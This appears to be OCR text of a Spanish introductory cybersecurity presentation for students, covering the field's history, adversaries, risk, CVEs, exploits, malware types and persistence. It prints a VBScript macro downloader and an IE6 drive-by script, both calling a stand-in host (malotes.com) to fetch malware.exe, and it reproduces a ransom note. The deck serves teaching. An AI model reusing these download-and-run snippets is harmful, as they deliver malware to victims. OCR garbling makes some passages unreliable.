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Introduccion a la Ciberseguridad axians
Lo que necesitas saber para empezar a construir tu camino

Esta presentacion tiene un caracter exclusivamente informativo y orientativo.
Su objetivo es acercarte al mundo de la ciberseguridad: como ha evolucionado,
por qué es tan importante hoy y qué oportunidades profesionales ofrece. No
pretende ensenarte a atacar sistemas ni a realizar acciones daiinas, sino
ayudarte a comprender un sector en crecimiento y mostrarte caminos que
podrias explorar en tu futuro académico y profesional.

Estas en una etapa clave para descubrir qué te gusta y hacia donde quieres
avanzar. Aprovecha cada ocasion para aprender, preguntar y dejarte guiar. Tu
familia, profesorado, orientadores, amistades y personas cercanas pueden
ayudarte a tomar decisiones que abran puertas y te permitan construir tu
propio camino.

Ojala esta sesidn despierte tu curiosidad, te anime a seguir formandote y te
muestre que la tecnologia —y en especial la ciberseguridad— puede convertirse
en una profesion apasionante, util y con un gran futuro.



Agenda axXlIans
Introduccion a la Ciberseguridad
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e Adversario « MITRE ATT&ACK
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* Riesgo

* [Informacidén

* \Vulnerabilidades
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*  Malware

* Movimiento Lateral
* Ransomware

* Herramientas




Perspectiva histodrica 3X13Ns
1988-1995

P Elincidente del gusano Morris, en 1988, puso de
manifiesto la debilidad de un activo por culpa de una _ARFVEGS
vulnerabilidad. A partir de este suceso se pondra en marcha
el primer CERT (Computer Emergency Response Team)

tNORTON
ANTIVIRUS

etection and Elimination for the IBM PC

P Los antivirus basados en firmas son las primeras
soluciones populares de ciberseguridad: McAfee, Norton,
Anyware, Artemis...

Virus Protection,
and Compatibles

» En 1977 el NIST avalé la robustez del cifrado simétrico
DES y ese mismo afio RSA demostro la eficacia del cifrado
asimétrico. No obstante, ambos cifrados solo se emplearan
en entornos gubernamentales y financieros, y su coste
computacional era elevado

P Se producen algunos fraudes y robos de informacion a
instituciones?/ companias relevantes, pero, en general, el
reto y el desafio técnico suele ser la principal motivacion
del atacante

P Laseguridad todavia no es una amenaza seria y empieza k
siendo una molestia a veces “graciosilla”



Perspectiva historica
1995-2006

»
>

Internet y conexion con el exterior

En la primera mitad de los noventa aparecen los
Firewalls: Check Point, Cisco... y al final de la
década se empieza a popularizar el cifrado y la
autenticacion robusta: IPSec y VPNs, PGP,
certificados, SSL, PKI... En 1999 se impone
3DES y este sera sustituido en 2001 por AES

En 1999 MITRE Corporation inicia el registro de
las vulnerabilidades que se van descubriendo en
los sistemas: CVE (Common Vulnerability
Exposure)

Se establecen las primeras normativas: LOPD
(1999), PCI-DSS (2004) e 1SO 27001 (2005)

Los ataques se vuelven mas ruidosos: correo
spam, phishing, ingenieria social, malware en
macros de Microsoft Office, Windows...

El cracking, el hacktivismo y los script kiddies
ocupan los titulares de la época

* Definition: A Network Firewall is a system or group

3aXIaNns

Firewall

of systems used to control access between two
networks -- a trusted network and an untrusted
network -- using pre-configured rules or filters.

I |y
Private
Network
=il




El adversario en el ataque clasico axI1aNs

Normalmente actuaba en solitario y su dedicacion al objetivo era alta
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Perspectiva histodrica 3X13Ns
2005-2015

»
>

La Cloud y las RRSS se convierten en nuevas superficies de exposicion

Se desarrollan las primeras herramientas para la deteccion de amenazas a partir del analisis
de eventos de seguridad, logs y telemetria como un modo de identificar ataques. En este
sentido, la telemetria jugara un Rapel esencial en la evolucion desde antivirus tradicional al
EDR (Endpoint Detection and Response)

2005, se establece la National Vulnerability Database (NVD) indicando el nivel de riesgo
CVSS (Common Vulnerability Scoring System) de cada CVE registrado

Lockheed Martin publica la Cyber Kill Chain en 2011 donde se estructuran las fases de un
ataque. MITRE establece la matriz ATT&CK (2013) como un sistema para clasificar y modelizar
los ataques. EI NIST publica el Cybersecurity Framework en 2014 y se convierte en una
referencia para reducir riesgos de ciberseguridad e implementar medidas de proteccion

Normativamente, el 2010 marca el inicio del Esquema Nacional de Seguridad (ENS)

El panorama cambia y se constituyen las primeras organizaciones de cibercrimen. Cuentan
con nuevas herramientas: botnets, criptomonedas, darknet... Se empiezan a establecer
ecosistemas para “paquetizar” ataques, la negociacion de rescates, venta de
vulnerabilidades Zero-Day, exploits, malware como servicio, redes de bots...

Nuevos objetivos: Espionaje, sabotaje, extorsion y chantaje, guerra hibrida, ciberterrorismo,
manipulacion de la opinién publica...
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Automatizacion y criptomonedas

Han facilitado el establecimiento de organizaciones especializadas cibercrimen
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Criptomonedas
No lo olvidemos: el delincuente quiere ganar dinero

>

La tecnologia blockchain y la
naturaleza descentralizada de
las principales plataformas de
criptomonedas han
proporcionado a los
ciberdelincuentes un sistema
para recaudar y acumular
riqueza que garantiza su
anonimato, dificultando el
rastreo de actividades como la
extorsion y el chantaje, y
favoreciendo su impunidad

En la actualidad, bitcoin es la red
crypto mas empleada en las
actividades criminales

3aXIaNns

Ooops, your files have been encrypted!

‘What Happened to My Computer?
Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without

S our decryption service,

Payment will be raised on

=8 Can | Recover My Files?

Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.

'You can decrypt some of your files for free. Try now by clicking <Decrypt>.

But if you want to decrypt all your files, you need to pay.

You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.

mll We will have free events for users who are so poor that they couldn't pay in 6 months.

5162017 00:47:55

Your files will be lost on

How Do I Pay?
Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.

And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

52012017 00:47:55

T Left

v

Send $300 worth of bitcoin to this address

129YDPgwueZ9NyMgw519p7AABIsjr6 SMw

ContactUs




Darknet y Dark Web aXI18NSs

El delincuente necesita anonimato

. . Webs indexables
P Al garantizar el anonimato, la Darknet

es el punto de encuentro habitual de ‘
los cibercriminales: _
e Divulgacién de técnicas y espacio ontehido
para exhibir y presumir de fechorias

* Venta de informacion de posibles

victimas (credenciales, informacién Deep Web
financiera, detalles de la red y otros  (webs noindexables) |
sistemas..) e A ) ¥

* Venta de BBDD y otros documentos
con informacion sensible robados
a las victimas

* \enta de servicios especificos
(malware, botnets, ataques DDoS, Darknet o Dark Web

vulnerabilidades Zero-Day...) (a través de redes TOR,
I2P, Freenet...)



Perspectiva historica
2015-actualidad

»

El teletrabajo masivo y la Cloud han difuminado el
erimetro tradicional. Aparecen nuevas tecnologias:
EBA, XDR, NDR, SOAR, SASE/SSE (FWaaS, DNS

Seguro, SWG, ZTNA...), DevSecOps...

La previsible capacidad de la computacién cuantica
permitira desencriptar el cifrado actual y, por esta_
razén, empezamos a hablar de cifrado postcuantico

El gobierno de la seguridad y directivas como GDPR
$2016), NIS (2016), NIS2 (2024) ?/ DORA (2024) estan
ortaleciendo y sistematizando la ciberseguridad de
instituciones publicas y empresas

El desarrollo de la inteligencia artificial generativa

representa una tecnologia de doble uso: A los buenos
les permite ser mas listos y mas rapidos, y a los malos
tambieén...

Turla, Lazarus, APT1, LockBit, Qilin, Medusa, Revil,
DarkSide y Fancy Bear son solo un pequefio ejemplo
de algunas organizaciones de cibercriminales...

3aXIaNns

Malware Analysis 101
created by ChatGPT

Created in 20 minutes
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Inteligencia Artificial axIans
Facilita el desarrollo autonomo de un ataque, técnica, adaptacion y aprendizaje
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Hackers, Script Kiddies y Hacktivismo 3x1ans
Conocer al adversario es el primer paso para protegerse

P Atacante con profundos conocimientos técnicos, tenazy

>

persistente, cuyo perfil suele asociarse —de forma popular, aunque
incorrecta y generalizada— con el término Hacker

Entusiastas de la informatica que intentan emular a los primeros
mediante el uso de herramientas software que simplifican los ataques
(Script Kiddies). Muchas de estas herramientas han sido desarrolladas
por Hackers que no guardan relacion con ciberdelincuencia

Hacktivismo. Variacion ciber del clasico activista y sus reivindicaciones
(politica, social, minorias, racial, ecologia, religion...). Hace uso de
cualquier recurso para ser escuchado, pero ha sido habitual la
desfiguracion de sitios web, ataques de denegacion de servicio
(DoS), filtraciéon de datos y revelacidn de secretos, campaiias en RRSS,
difusion de noticias falsas...



Insiders, Cibercriminales y APT aXI3Ns
Conocer al adversario es el primer paso para protegerse

P Insiders. Normalmente suele ser un empleado resentido o avido de “ganar
un dinero extra” protagonizado un ataque o robo a su empresa, o facilitando
a un tercero la perpetracion del cibercrimen (facilitar informacién sensible,
filtrar credenciales, infeccion intencionada con un malware...)

» Grupo de cibercriminales y Advanced Persistent Threat (APT). Son
organizaciones con importantes recursos. Estudian y seleccionan a sus
objetivos entre empresas, instituciones, gobiernos, sectores industriales,
personalidades, ... En ciertas ocasiones mantienen vinculos con Estados,
grupos terroristas e, incluso, con companias aparentemente legales:

Robos de BBDD con datos de clientes para iniciar otros ataques

Robo informacion, cifrado y extorsion a empresas, instituciones y particulares
Robo de propiedad intelectual y datos estratégicos

Sabotaje a empresas en sus procesos y funcionamiento normal

Ataques contra las infraestructuras de una nacion

Desinformacién y fake news



Agenda axXlIans
Introduccion a la Ciberseguridad
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Activos de interés axlans
Lo que motiva al atacante

P Activo es cualquier elemento valioso para una organizacion. Pueden ser
servidores, datos, software, propiedad intelectual, una pagina web de atencién
al cliente o de venta online, o un proceso de fabricacién, entre otros. Los
activos deben protegerse porque su pérdida, alteracién o dano afectan al
funcionamiento y seguridad de la entidad

P Una organizacion debe articular y evaluar su seguridad alrededor de sus
activos:

* Conocer nuestros activos e inventariarlos

* Vulnerabilidades conocidas, analisis de riesgo, evaluacién del impacto en el
negocio ante el dafno o robo de un activo y plan de continuidad

* Normativa aplicada (si la hay) a esos activos: GDPR, PCI-DSS, DORA, NIS2...
* Medidas de proteccién: Salvaguarda, cifrado, control de acceso, ...

* Medidas de deteccién de ataques o acceso indeseado a nuestros activos

* Medidas de respuesta ante un intento de ataque a nuestros activos



Superficie de exposicion
Puntos de entrada que aprovechara el adversario

P Superficie de Exposicién o attack surface
son el conjunto de puntos a través de los
cuales un atacante puede intentar acceder,
manipular o comprometer un activo, sistema,
red, aplicacidn o proceso. Por ejemplo:

* Credenciales de usuario y administradores

« Correo electrénico, Ingenieria social, acceso
remoto...

*  Servicios expuestos a Internet y, en especial,
navegacion y las RRSS

* Aplicaciones con fallos de seguridad o mal

configuradas
* Dispositivos §E_c|1uipo del usuario, smartphone,
tabletas, OT, loT e loMT...)

credenciales
* Recursos en Cloud .
debiles y robo
» Reduciry prqte%gr la superficiede
exposicion significa minimizar esas posibles
vias de ataque, cerrando accesos

ingeniera
social

3aXIaNns

correo electrénico,
RRSS y colaboracién
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. X : . . webs y APIs

innecesarios, aplicando actualizaciones de inseguras -
seguridad, segmentando redes, y educando a sistemas
los usuarios vulnerables



Riesgo
Amenaza, vulnerabilidad, activo e impacto

>

>

El analisis de riesgos identifica, evalia y gestiona los
posibles eventos adversos que puedan afectar a una
organizacion, proyecto o sistema

En Ciberseguridad el riesgo mide la posibilidad de que una
amenaza aproveche una vulnerabilidad y su impacto en la
organizacion:
* Amenaza: cualquier evento, actor o accion que pueda causar
dafo (atacante, malware, errores humanos, catastrofe...)

* Vulnerabilidad: una debilidad en el sistema de la que hace
uso la amenaza y que puede ser explotada (como una
contrasefa débil o un CVE)

* Impacto: la gravedad de las consecuencias si la amenaza llega
a materializarse, como pérdida de datos, interrupcion de
servicios o dafo reputacional

Para el analisis de riesgos se pueden emplear diferentes
marcos y metodologias:

* NIST Risk Management Framework

* 1SO 27005

* MAGERIT, del Ministerio de Hacienda y ENS

3aXIaNns
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Recopilacion de informacion por el adversario 3xans
Seleccion de la victima y definicion del tipo de ataque
P Organizacion: Noticias, estructura societaria, memoria anual, estado

financiero, organigrama, departamentos, proveedores, clientes, politica de
seguridad, socios tecnologicos, despachos de abogados con los que suele

colaborar...
* Visién general de la victima: activos de interés, capacidad financiera... .
* Estudio de la superficie de exposicién y su cadena de suministro )
» Empleados y personal externo: Nombres, cargos, correos electrénicos, 4
teléfonos, RRSS, aficiones: oW,

* Ingenieria social

e Ataques BEC

* Phishing dirigido

* Robo fisico del portatil, mévil, token MFA, tarjeta ID, ...
* Chantaje, reclutar insiders... )

» Tecnologia: Presencia en Internet y/o Cloud: IPs, dominios, BGP AS, DNS,
plataforma de correo electronico, plataforma VPN. Servicios expuestos: IP,
detalles del frontend, API, etc.

* Busqueda de vulnerabilidades
* Configuraciones y passwords por defecto
* Ataques DDoS



Meétodos para recopilar informacion ax1ans
Busqueda de vulnerabilidades: topoldgicas, l6gicas, personas, etc

>

>

En primer lugar, el atacante intenta conocer datos basicos sobre la
presencia del objetivo en el exterior: Rangos IP, puertos, BGP, proveedor,
dominios, Whois, DNS, Webs, correo, VPN, Apps...

A continuacién, mediante técnicas OSINT (Open Source INTelligence),
el atacante suele profundizar en esta exposicion:

* SpiderFoot. Recopilacion de datos publicos

e Shodan. Dispositivos conectados a Internet

¢ Maltego. Relaciones entre personas, dominios y datos
* theHarvester. Recopila correos y subdominios

e BuiltWith. Analiza tecnologias usadas en sitios web

* Metagoofil. Extrae metadatos de documentos publicos

Acceso a informacion a la venta o compartida en la Darknet

Incluso, el atacante puede rebuscar en la basura o entre material
desechado por una organizacion -dumpster diving- para localizar un
disco duro, pendrive o0 documentos con informacion de interés



Vulnerabilidad axIans

P Una vulnerabilidad es una debilidad de un sistema que puede ser
detonada y aprovechada por el atacante para comprometerlo

B Estas vulnerabilidades suelen ser consecuencia de:
* Errores de programacion durante la fase de desarrollo de la solucion
. Confi?uraciqnes incorrectas del usuario. Asi como uso de nombres, contrasefas
y configuraciones por defecto...

P Es primordial conocer las vulnerabilidades que afectan a nuestros activos y
actuar en consecuencia:

 Actualizaciones periddicas desarrolladas por el fabricante de la solucién.
Cuando esto no es posible es necesario desplegar medidas alternativas como,
por ejemplo, aplicar reglas de filtrado en el tirewall, segmentacién, etc

. fBastionado de sistemas, empleo de buenas practicas y recomendaciones del
abricante

* Si no hay solucidn, sustitucion del sistema o solucion afectada

D Desde 1999 se lleva un registro de las vulnerabilidades relacionadas
con errores y mal funcionamiento de los sistemas (CVE)
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Common Vulnerability Exposure (CVE)

Numero de CVE registrados desde 1999 hasta la actualidad
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Entendiendo las vulnerabilidades
CVE, CVSS, EPSS, Exploit

» CVSS (Common Vulnerability
Scoring System) puntua la
gravedad técnica de un CVE

Bajo (0.1 - 3.9)
Medio (4.0 - 6.9)
Alto (7.0 - 8.9)
Critico (9.0 - 10.0)

» EPSS (Exploit Prediction
Scoring System) es un sistema
para estimar la probabilidad de
que un CVE sea explotado

0% indica no es probable que la
vulnerabilidad sea explotada

Un valor cercano al 100%
sugiere una probabilidad muy
alta de explotacion

D Exploit conocido, publico,
potencial explotable...

& CVEdetails.com
powered by SecurityScorecard
Vulnerabilities
By Date
By Type
Known Exploited
Assigners
CVSS Scores
EPSS Scores
Search
~ Vulnerable Software
Vendors
Products

Version Search

Vulnerability Intel,
Newsfeed
Open Source Vulns
Emerging CVEs
Feeds
Exploits
Advisories
Code Repositories
Code Changes
Attack Surface
My Attack Surface
Digital Footprint
Discovered Products
Detected Vulns
IP Search

Other
Metasploit Modules
CWE Definitions
CAPEC Definitions
Articles
Blog

Search by CPE Full-text search in CVEs Full-text search in all data

Advanced Vulnerability Search

CVE-2024-30090 4 Potential exploit

Microsoft Streaming Service Elevation of Privilege Vulnerability
Source: Microsoft Corporation

CVE-2024-30088 A Known exploited

Windows Kernel Elevation of Privilege Vulnerability

Source: Microsoft Corporation

4 public exploit

CVE-2024-22409 4 Potential exploit

DataHub is an open-source metadata platform. In affected versions a low privileged user could remove a user, edit
group members, or edit another user's profile information. The default privileges gave too many broad
permissions to low privileged users. These have been constrained in PR #9067 to prevent abuse. This issue can
result In privilege escalation for lower privileged users up to admin privileges, potentially, if a group with admin

privileges exists. May not impact instances that have modified default privileges. This issue has been addressed in
Source: GitHub, Inc

CVE-2024-22198 4 Potential exploit

Nginx-Ul is a web Interface to manage Nginx Itis to arbitrary by
abusing the configuration settings. The ‘Home > Preference’ page exposes a list of system settings such as ‘Run
Mode', "Jwt Secret’, 'Node Secret’ and 'Terminal Start Command'. While the Ul doesn't allow users to modify the
“Terminal Start Command’ setting, it is possible to do so by sending a request to the API. This issue may lead to

authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been
Source: GitHub, Inc

CVE-2024-22197 4 Potential exploit

Nginx-ul is online statistics for Server Indicators Monitor CPU usage, memory usage, load average, and disk usage
in real-time. The 'Home > Preference’ page exposes a small list of nginx settings such as ‘Nginx Access Log Path’
and "Nginx Error Log Path’. However, the API also exposes 'test_config_cmd’, ‘reload_cmd’ and ‘restart_cmd’.
While the Ul doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the

APL. This issue may lead to Remote Code E: Privilege , and Information
Source: GitHub, Inc

3aXIaNns

Max CVSS
EPSS Score
Published
Updated

Max CVSS
EPSS Score
Published
Updated
CISA KEV
Added

Max CVSS
EPSS Score
Published
Updated

Max CVSS
EPSS Score
Published
Updated

Max CVSS
EPSS Score
Published
Updated

8 Copy

2024-06-1
2024-06-20

2024-06-11
2024-11-29
2024-10-15

0.23%
2024-01-16
2024-01-25

2024-01-11
2024-01-18

2024-01-1
2024-02-29

CVEs, tipo, fabricante, CVSS, etc www.cvedetails.com/vulnerability-search.php



http://www.cvedetails.com/vulnerability-search.php

Exploits

3aXIaNns

Explota una vulnerabilidad y ejecuta un payload

» Un exploit es una técnica o
fragmento de codigo que
aprovecha una vulnerabilidad de
un sistema para provocar un
comportamiento no deseado:

e Desbordamiento de bufer

* Inyeccién SQL

* XSS (Cross-Site Scripting)

* Ejecucién remota de comandos
e Directory Traversal..

P Aveces, estos comportamientos no

deseados, facilitan la ejecucion de
un cddigo adicional o payload,
que el atacante utiliza para realizar
otras acciones, como abrir un
shellcode, establecer una conexién
inversa, robar credenciales o
descargar un malware

El atacante envia el Exploit (vulnerabilidad
y payload) a través de un formulario,
un archivo especialmente disefiado o una

cadena a un puerto de red, entre otros my © Explota
. m vulnerabilidad
9 Payload que w

ejecuta un shell B —

A
v

A través de este BBDD
G shell el atacante
accede a la BBDD



Exploit Database axIans
La mayor BBDD de Exploits junto a CVEs, técnicas, sistemas afectados..

Has App Y Filters ¥ Reset Alll

Show| 15 v Search:

% ~
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E 3

Date D A V Tile Type  Platform Author
20250620 ¥ + Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) Remote Multiple Likhith Appalaneni
20250620 ¥ X Microsoft Excel LTSC 2024 - Remote Code Execution (RCE) Local Windows nullsecurlty
ﬁ 2025-06-20 h 4 X FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse Remote Multiple Shahid Hakim
2025-06-15 b4 X Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI WebApps Multiple Cristian Branet
.1] 2025-06-15 ¥ X WebDAV Windows 10 - Remote Code Execution (RCE) Remote Windows Dev Bui Hieu
4+ 2025-06-15 h 4 X AirKeyboard iOS App 1.0.5 - Remote Input Injection Remote i0s Chokri Hammedi
2025-06-15 b4 X Microsoft Excel Use After Free - Local Code Execution Local Windows nul1securlty

Exploits conocidos y verificados www.exploit-db.com



http://www.exploit-db.com/

Malware 9IaNS
Virus clasico > deteccién firma > ofuscar cédigo > telemetria

>

Malware, de forma genérica, es un pequeno programa cuya
funcionalidad esta orientada a perjudicar a las organizaciones y
usuarios, ya sea robando informacién, danando archivos, controlando el
sistema remotamente o, simplemente, molestando

La denominacion clasica de “virus” se refiere a un malware con gran
capacidad para infectar ficheros y, de este modo, propagarse. Hoy estos
ataques serian bastante ruidosos y facilmente identificables. En la
actualidad, en cambio, un atacante -y el respectivo malware- busca
sigilo y pasar desapercibido durante largos periodo de tiempo

La mayor parte del malware moderno emplea alguna técnica para ofuscar
su codigo o modificar éste dinAmicamente y asi alterar su firmay
dificultar su deteccion

Las técnicas de deteccidén clasicas de los Antivirus, basadas en firma, han
sido desplazadas por otras mas sofisticadas como la monitorizacion -en
el EDR- de los procesos que corren en un sistema (telemetria)



Malware

Algunas denominaciones segun su funcionalidad

Funcionalidad

Virus
Gusano
Troyanos
Downloader
Dropper
Spyware
Keyloggers
Rootkits
Ransomware
Botnets
Exploit kit
Crypto Stealer

Cryptojacking

Malware con capacidad de replicarse a si mismo a través de la infeccién de ficheros

Malware que se replica y se propaga por si solo, usando redes, correos electrénicos o dispositivos conectados

Este malware abre puertas traseras o backdoors en un sistema

No es un malware en si, pero ha sido disefiado para descargar uno desde internet

La funcidn de este malware es descomprimir, instalar o ejecutar el malware que lleva oculto

Malware que monitoriza la actividad del usuario, rastrea su navegacién, credenciales y datos personales
Estd especializado en capturar las pulsaciones del teclado para robar credenciales, nimeros de tarjetas...
Modifican el sistema operativo para ocultarse a si mismo y a otros componentes maliciosos

Malware especializado en cifrar masivamente archivos y datos del usuario

Convierte el dispositivo infectado en miembro de una red cuyo fin es realizar ataques masivos. P.Ej. DDoS
Escanea vulnerabilidades en el sistema y ejecuta automaticamente Exploits

Malware que rastrea y roba claves, frases de recuperacion o credenciales de las billeteras digitales

Para minar criptomonedas este malware consume los recursos (CPU, GPU) de los sistemas colonizados

3aXIaNns



Distribucion de malware aXIaNs

Enlaces, descarga y ejecucion de archivos daninos

Correo
Cacharro en Argentina

Pepito Pérez < @gmail.com> @ 6) Responder <€) Responder a todos —> Reenviar [ﬁ
Navegacioén

Para @ GARCIA YAGUE Adolfo

vi. 05/07/2024 13:08

© Protege fu mundo digital con el antivirus que lo hace fodo ® ¢Cansado Hola Adolfo. Te estoy escribiendo desde mi nueva cuenta en Gmail, por favor, actualiza el cd
amenazas invisibles y navegacion insegura? Dale un respiro a tu ordenadory un - . .

i ¥ ) 9 _g_ P o Y agenda. Una cosa rapida: Estoy en Argentina he visto en una tienda de San Telmo un cacharjif]
armadura digna de los héroes tecnolégicos. Con nuestro antivirus fabuloso obt

Notificaciones

Todas
fotos que acabo de subir. Mafiana vuelvo a Espafia y, si quieres, te lo compro y asi te ahorra
* 3" Maxima velocidad, sin ralentizar tu equipo

mando mi nuevo nimero porque aqui me cuesta mucho recibir llamadas +541152461869. L

« 4 Inteligencia avanzada que detecta amenazas antes de que actien

Emily @ indics que le gusta tu post
« (1 Privacidad blindada, porque tus datos valen

« @ Seguridad total, estés donde estés

[ A4 Haz clic aqui y descargalo gratis desde nuestra web ]»Tu tranquilidad empieza en un
solo paso.

CaixaBank

%

Deborah @ indicé que le gusta tu post

RRSS y colaboraciéon

..... - A= (@ BitTorrent:
E mﬂ * Redes P2P

Cargo por 4.870.50 EUR o ﬁ
aprobado por defecto en una d O

1 hora. Si no ha sido usted -

llame de inmediatamente

SMS y WhatsApp e

™

Repositorios de Apps y Plugins

Bluetooth
Almacenamiento extraible



Distribucion de malware axI1anNs

Dim url, filePath

SC Il ptS en d ocume ntOS d € Oﬂ m atl Ca url = "https://malotes.com/malware.exe"
filePath = "C:\Windows\pulsa-aqui.exe"
P Embebido en aqg uellos i(te: h(';tp - (E(r}e:;sOb{elc:t(l"MSXM L2 XMLHTTP")
. sy e p.Open , url, False
documentos ofimaticos que http.Send
SOpo rtan la progra ma.Cié n de If http.Status = 200 Then
macros para automatizar e SR
funciones. Normalmente, estas file Write http ResponseBody ’
macros son programadas en L

VBScript o JavaScript, entre otros

P Elscript malicioso se integra en la
macro y puede ser un simple
downloader que inicie la descarga malotes.com
de un malware mas sofisticado

» Ademas, algunos de estos
documentos pueden incluir
enlaces hacia sitios y/o incrustar
ficheros ejecutables maliciosos

malware.exe

C:\Windows\pulsa-aqui.exe



3aXIaNns

Distribucion de malware

. web corporativa
Drive-by Download

</

<IDOCTYPE html>
<html>
<head>
<title>Exploit obsoleto para IE 6</title>
<script type="text/javascript">
try {
var overflow = "";
while (overflow.length < 10000) §
overflow +="A";

}

P Son ataques elaborados y silenciosos,
donde la victima es infectada tras
visitar una web que previamente ha
sido comprometida, sin necesidad de
hacer clic ni descargar archivos de
forma consciente

confiable.com

malotes.com

P Constan de una primera fase en la que
se toma el control de una pagina que
suele ser visitada por las victimas
objetivo. En estacf)égina se incluye un
script capaz de identificar detalles del
usuario: S.0, navegador y version
entre otros

var obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
obj.SetVariable("payload”, overflow);

var iframe = document.createElement("iframe");

iframe.style.display = "none";

iframe.src = "https://malotes.com/malware.exe";

document.body.appendChild(iframe);

} catch (e) §
</script>

</head>
<body></body>

P Con lainformacién extraida es capaz
de identificar una vulnerabilidad (si
existe) y generar un Exploit
dinamicamente (Exploit Kit) adaptado
para la victima

P El Payload del Exploit hace el resto...



Malware sin fichero axIans
Fileless y Living off the Land

P Los ataques sin fichero no emplean
archivos. En cambio, el codigo malicioso
se inserta en memoria, consigue
persistencia, actua y establece
canales de comando y control (C&C)
aprovechandose de herramientas,
procesos y repositorios legitimos:

* Por ejemplo, PowerShell, WinRM, WMI
RPC y Registry, en sistemas Windows

* En Linux: bash, curl, shell, wget, Python,
manipulacion del cron...

» Elanalisis tradicional basado en firmas
en ficheros resulta poco eficaz en estos
ataques, por lo que se requiere la
monitorizacion constante, analisis de
procesos y las herramientas usadas




Los escondites del Malware axians
En sistemas Windows, por donde empezar

P Ubicaciones comunes en el sistema

* Carpetas del sistema como C:\Windows, C:\Windows\System32 o C:\Program Files

suelen usarse para pasar desapercibidos, ya que son zonas que los usuarios no suelen
revisar

* Carpetas ocultas o temporales, por ejemplo,
C:\Users\[Usuario]\AppData\Local\TempoAppData\Roaming

Registro de Windows, especialmente en claves de inicio automatico como:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

» Mecanismos de persistencia

Servicios del sistema: el malware puede crear servicios falsos que se ejecutan
automaticamente al arrancar

Tareas programadas: para ejecutarse en momentos especificos o al iniciar sesién
* Drivers maliciosos que se cargan con el sistema operativo

Hooking o inyeccion de codigo en procesos legitimos como explorer.exe o svchost.exe



Los escondites del Malware axians
En sistemas Linux, por donde empezar

B Directorios sospechosos

/tmp, /var/tmp y /dev/shm: son espacios de almacenamiento temporal que permiten
escritura sin privilegios elevados

Directorios ocultos en $HOME, como ~/.config, ~/.local, o incluso nombres como
~/.cache/.hidden

Binarios en /usr/local/bin o /opt que parecen legitimos, pero han sido modificados o
anadidos

P Mecanismos de persistencia

Crontab: tareas programadas en crontab -e o en /etc/cron* pueden lanzar scripts maliciosos
regularmente

systemd services: se pueden crear archivos .service en /etc/systemd/system/ que ejecuten
codigo al inicio
Init scripts en /etc/init.d/ en sistemas mas antiguos

P Técnicas avanzadas

LD__PRELOAD o hijacking de librerias: se modifica el entorno para cargar librerias maliciosas
en lugar de las legitimas

Inyeccion en procesos legitimos, como sshd o bash
Rootkits en el kernel: extremadamente dificiles de detectar sin herramientas especializadas.



Microsoft Process Explorer y VirusTotal axI13Ns

Dos herramientas que conviene conocer

a
File Options View Process Find Users Help
LTS Y === | oty som
Process CPU| Private Bytes| Working Set PID| Description | Company Name | virusTotal | Verified Signer |
—| W | services.exe <0.01 6.900K 11.976 K 1116
—| [msvchost.exe <0.01 11.680K 31.828K 1296 Proceso host para los servicios de Windows Microsoft Corporation 0177 (Verified) Microsoft...
B | WmiPrvSE exe 22136 K 35596 K 4120
B 'unsecapp.exe 1.780K 773K 4228
B | WmiPIVSE exe 27712K 37.836 K 4352
| WmiPrvSE exe 10.012K 11.768 K 9636
5| Suspended 99260 K 109.840 K|
[m]StartMenuExperienceHos... 53.040K 102.144 K 13416 Windows Start Experience Host Microsoft Corporation 077 (Verified) Microsoft...
[@° RuntimeBroker exe <001 8780K 36.648 K. 13632 Runtime Broker Microsoft Corporation 0177 (Verified) Microsoft.
[m7 WidgetBoard exe 5300K 21552K 13688 Microsoft Corporation 0177 (Verified) Microsoft..
[@ RuntimeBroker exe 18952K 43.092K| 13824 Runtime Broker Microsoft Corporation 077 (Verified) Microsoft.
[ dlihost exe 5884 K 15424 K 4816 COM Surrogate Microsoft Corporation 077 (Verified) Microsoft..
[@]TextinputHost.exe 25480K 79.108 K 7552 Microsoft Corporation 077 (Verified) Microsoft.
[m7WidgetService exe 4920K 21.084 K 12348 WidgetService exe Microsoft Corporation 077 (Verified) Microsoft.
[m]MicrosoftStartFeedProvid... 8.500K 36.760 K 13936 Microsoft Corporation 077 (Verified) Microsoft...
[@° RuntimeBroker exe 0 ime Microsoft Cornora
[m° DataExchangeHost exe
| WIPIVSE exe Z Q  e3b0c44298fclc149afbf4c8996fb92427ae4 1e4649b934ca495991b7852b855
B | WmiPIvSE exe
[@]RuntimeBroker exe
B | WmiPrvSE.exe
B | WmiPrvSE.exe

Suspendd C Reanalyze == Similar v  More V/
[@ RuntimeBroker exe
[@]RuntimeBroker.exe

Il I%]VUDFHDst exe e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

[msvchost.exe

[[msvchost exe

B | WUDFHost.exe

B | WUDFHost.exe

[m svchost exe

[m svchost exe

[msvchost.exe

[msvchost.exe

==

CPU Usage: 2.22% Commit Charge: 59.37% Proce{

<0 android-cts-7,1_ré-linux_x86-arm.zip 0B 2 minutes ago

attachme legit zero-filled trusted software-collection direct-cpu-clock-access runtime-modules via-tor nsrl known-distributor

This report corresponds to an empty file, it can't exhibit malicious behavior by itself. Learn more.

DETECTION DETAILS BEHAVIOR COMMUNITY © 30+

learn.microsoft.com/es-es/sysinternals/downloads/process-explorer www.virustotal.com



https://learn.microsoft.com/es-es/sysinternals/downloads/process-explorer
http://www.virustotal.com/

Entendiendo el Movimiento Lateral axIans
Cuando el atacante consigue comprometer a un usuario ya tiene un pie dentro...

P Antes de moverse, empleara técnicas de
enumeracion y escaneo para descubrir activos
valiosos (informacion):

*  Escaneo de Puertos
